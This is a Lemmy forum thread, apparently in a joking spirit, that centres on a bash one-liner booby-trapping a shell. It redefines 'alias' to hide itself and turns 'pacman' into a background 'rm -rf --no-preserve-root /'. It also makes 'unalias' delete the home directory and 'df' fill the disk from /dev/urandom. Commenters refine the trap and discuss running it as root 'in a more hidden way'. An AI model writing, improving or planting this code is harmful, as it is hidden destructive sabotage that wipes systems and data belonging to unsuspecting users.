It’s not perfect, plus I added something extra, but it’s a slight improvement. Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x. Nevermind, copy-pasted it into glorious Vim, I didn’t escape the single quote in “You’re”.
Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\_(ツ)_/¯
This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.
export OLDALIASVALUES=$(alias) \ && alias alias='echo "${OLDALIASVALUES}"' \ && \alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; \pacman' \ && \alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."' \ && \alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; \df'
It’s not perfect, plus I added something extra, but it’s a slight improvement.
Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x.Nevermind, copy-pasted it into glorious Vim, I didn’t escape the single quote in “You’re”.Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\_(ツ)_/¯
There is! Markdown supports
to enable syntax highlighting in code blocks. If you have an invalid language (e.g. .), it will just disable syntax highlighting.
you have to alias alias last, so it actually aliases.
Oh crap, I forgot. Thanks. I just escaped it.
Does this really work? Won’t be this a security issue since this may be used for privilege escalation?